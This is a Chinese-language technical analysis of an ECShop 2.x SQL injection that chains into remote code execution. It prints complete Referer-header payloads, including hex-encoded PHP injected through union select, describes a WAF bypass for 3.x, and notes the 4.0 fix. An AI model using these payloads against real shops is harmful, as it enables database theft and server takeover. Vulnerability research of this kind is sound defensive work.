0%

ECShop 2.7.3 SQL注入漏洞分析

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。

本测试环境是2.7.3,理论上2.x的都存在该漏洞,3.x自带WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测会触发SQL注入的检测规则(存在绕过)。

本环境下载地址:https://www.ecshop119.com/ecshopjc-125.html


一、SQL注入漏洞

ecshop/user.php

image-20210724185743520

重点关注$back_act,它是从HTTP_REFERER获取的值,而HTTP_REFERER是外部可控的

接着back_act变量传递给assign函数,接着寻找到ecshop/includes/cls_template.php中

image-20210724190150121

注册变量,分析功能$this->_var[$tpl_var] = $value;

也就是back_act变成了$this->_var[$back_act]=$back_act

继续回到user.php,调用完assign后接着调用了display,还是在cls_template.php跟进

image-20210724192428010

从流程上来看,首先调用$this->fetch来处理user_passport.dwt模板文件

user_passport.dwt是在user.php中写死的

1
2
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');

fetch函数中调用了$this->make_compiled来编译模板

make_compiled函数也在cls_template.php中,功能是会将模板中的变量解析

user_passport.dwt部分内容

image-20210724191935540

大致内容就是把上面assign中注册到的变量$back_act传递进去,解析完的变量返回到

display函数中,$out就是解析变量后的html内容。

接着回到display函数中,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

_echash是被定义好的,不会变,所以导致$val内容可以被控制

image-20210724192954265

继续回到display函数中,跟进$this->insert_mod

image-20210724193257522

$val传递给insert_mod,先用|分割,得到$fun$para

$para进行反序列操作,$fun和insert_字符串拼接

最后动态调用$fun($para),由此函数名后半部分可控,参数完全可控。

接下来寻找insert_开头的可利用函数,在ecshop/includes/lib_insert.php有一个insert_ads函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/**
* 调用指定的广告位的广告
*
* @access public
* @param integer $id 广告位ID
* @param integer $num 广告数量
* @return string
*/
function insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
else
{
if ($static_res[$arr['id']] === NULL)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '.
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND a.position_id = '" . $arr['id'] .
"' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
'ORDER BY rnd LIMIT 1';
$static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql);
}
$res = $static_res[$arr['id']];
}
$ads = array();
$position_style = '';

foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
switch ($row['media_type'])
{
case 0: // 图片广告
$src = (strpos($row['ad_code'], 'http://') === false && strpos($row['ad_code'], 'https://') === false) ?
DATA_DIR . "/afficheimg/$row[ad_code]" : $row['ad_code'];
$ads[] = "<a href='affiche.php?ad_id=$row[ad_id]&amp;uri=" .urlencode($row["ad_link"]). "'
target='_blank'><img src='$src' width='" .$row['ad_width']. "' height='$row[ad_height]'
border='0' /></a>";
break;
case 1: // Flash
$src = (strpos($row['ad_code'], 'http://') === false && strpos($row['ad_code'], 'https://') === false) ?
DATA_DIR . "/afficheimg/$row[ad_code]" : $row['ad_code'];
$ads[] = "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" " .
"codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\" " .
"width='$row[ad_width]' height='$row[ad_height]'>
<param name='movie' value='$src'>
<param name='quality' value='high'>
<embed src='$src' quality='high'
pluginspage='http://www.macromedia.com/go/getflashplayer'
type='application/x-shockwave-flash' width='$row[ad_width]'
height='$row[ad_height]'></embed>
</object>";
break;
case 2: // CODE
$ads[] = $row['ad_code'];
break;
case 3: // TEXT
$ads[] = "<a href='affiche.php?ad_id=$row[ad_id]&amp;uri=" .urlencode($row["ad_link"]). "'
target='_blank'>" .htmlspecialchars($row['ad_code']). '</a>';
break;
}
}
$position_style = 'str:' . $position_style;

$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;

$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);

$GLOBALS['smarty']->caching = $need_cache;

return $val;
}

其中$arr是可控的,并且会拼接到SQL语句中,这里就造成了SQL注入漏洞

回顾上面的流程,构造payload

echash+fun|serialize(array(“num”=>sqlpayload,”id”=>1))

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

二、代码执行漏洞

继续跟进lib_insert.php中的insert_ads函数

image-20210806200643024

第215行中调用了fetch方法,fetch方法在user.php中调用display

然后调用fetch的时候传入的参数是user_passport.dwt

而在此处传入的参数是$position_style

向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果

上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控

但是要到$position_style = $row['position_style'];需要满足$row['position_id'] != $arr['id'],但是查询结果可控,arr['id']同样可控。

image-20210806201034863

之后$position_style会先拼接'str:'传入再fetch函数

继续跟进fetch

image-20210808215110997

看回前面的fetch($position_style)前面拼接了'str:',所以strncmp($filename,'str:', 4) == 0为真,紧接着就调用了危险函数$this->_eval这就是最终触发漏洞的点

再看$this->_eval传参时需要经过$this->fetch_str方法

接着跟进fetch_str函数

第一个正则匹配了一些关键字,替换为空

1
preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);

第二正则就是漏洞点

1
preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

正则匹配到的值会交给$this-select()函数处理

跟进$this-select()

image-20210817142618901

当传入的$tag第一个值是$,就会成为php标签包含的字符串,最终返回_eval()危险函数中

但是在返回前,又被$this->get_val函数处理了,继续跟进get_val函数

image-20210817142834524

当传入的$val中的值没有.$时,调用了$this->make_var

跟进make_var

image-20210817143600903

到这里就基本结束了,回到select函数中结合现在的语句

_var[' $val '];?>

要成功利用的话,$val先要把['闭合,从下往上构造

1
abc'];echo phpinfo();//

select函数进入get_val的条件是第一个字符必须是$

1
$abc'];echo phpinfo();//

接着要进入到select函数,需要被捕获

1
{$abc'];echo phpinfo();//}

这里出现的phpinfo()会被fetch_str函数第一个正则捕获,需要变换一下

1
{$abc'];echo phpinfo/**/();//}

到此为止就构造完成了

最后一步就是将构造好的代码通过SQL注入漏洞的方式传递给$position_style

这里可以用union select 来控制查询的结果,根据之前的流程

$row['position_id']$arr['id']要相等

position_id是第二列,position_style是第九列

$arr['id']传入 ' /*

$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -

0x27202f2a' /*的16进制值

0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d$row['position_id']的值,上面构造的php代码的16进制值,也就是$position_style

最终payload

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

image-20210724220650162

成功执行了phpinfo()


三、ECShop 3.x 绕过

上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则。

3.x版本的echash45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。


漏洞修复

在ECShop 4.0上这个漏洞就被修复了,ecshop4/ecshop/includes/lib_insert.php中将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了官网也有相关的(2.x和3.x)的补丁。